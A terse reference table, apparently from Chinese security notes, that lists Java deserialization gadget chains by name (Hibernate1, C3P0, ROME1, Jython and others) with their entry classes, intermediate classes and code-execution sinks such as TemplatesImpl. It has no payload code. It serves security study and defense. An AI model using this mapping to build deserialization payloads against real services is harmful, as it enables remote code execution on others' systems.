Hibernate1 HashMap TypedValue + PojoComponentTuplizer + GetterMethodImpl/BasicGetter TemplatesImpl
Hibernate2 HashMap TypedValue + PojoComponentTuplizer + GetterMethodImpl/BasicGetter JdbcRowSetImpl
Groovy1 AnnotationInvocationHandler ConvertedClosure MethodClosure
FileUpload1 DiskFileItem DeferredFileOutputStream
Wicket1 DiskFileItem DeferredFileOutputStream
MozillaRhino1 BadAttributeValueExpException NativeError + NativeJavaMethod + NativeJavaObject + MemberBox TemplatesImpl
MozillaRhino2 NativeJavaObject JavaAdapter + NativeJavaArray + Environment + JavaMembers TemplatesImpl
Myfaces1 HashMap ValueExpressionMethodExpression ValueExpression
Myfaces2 HashMap ValueExpressionMethodExpression ValueExpression
ROME1 HashMap ObjectBean + EqualsBean + ToStringBean TemplatesImpl
BeanShell1 PriorityQueue XThis$Handler + This BshMethod
C3P0 PoolBackedDataSourceBase ReferenceIndirector + ReferenceableUtils URLClassLoader
Clojure1 HashMap AbstractTableModel$ff19274a + clojure.core$comp$fn__4727 + clojure.core$constantly$fn__4614 + clojure.main$eval_opt + clojure.core$eval Compiler
Click1 PriorityQueue Column$ColumnComparator + PropertyUtils TemplatesImpl
Vaadin1 BadAttributeValueExpException PropertysetItem + NestedMethodProperty TemplatesImpl
AspectJWeaver HashSet TiedMapEntry + LazyMap SimpleCache$StorableCachingMap
Jython PriorityQueue Comparator + XThis$Handler + PyFunction PyBytecode
JavassistWeld InterceptorMethodHandler SimpleInterceptionChain + SimpleMethodInvocation TemplatesImpl
JBossInterceptors InterceptorMethodHandler SimpleInterceptionChain + SimpleMethodInvocation TemplatesImpl

参阅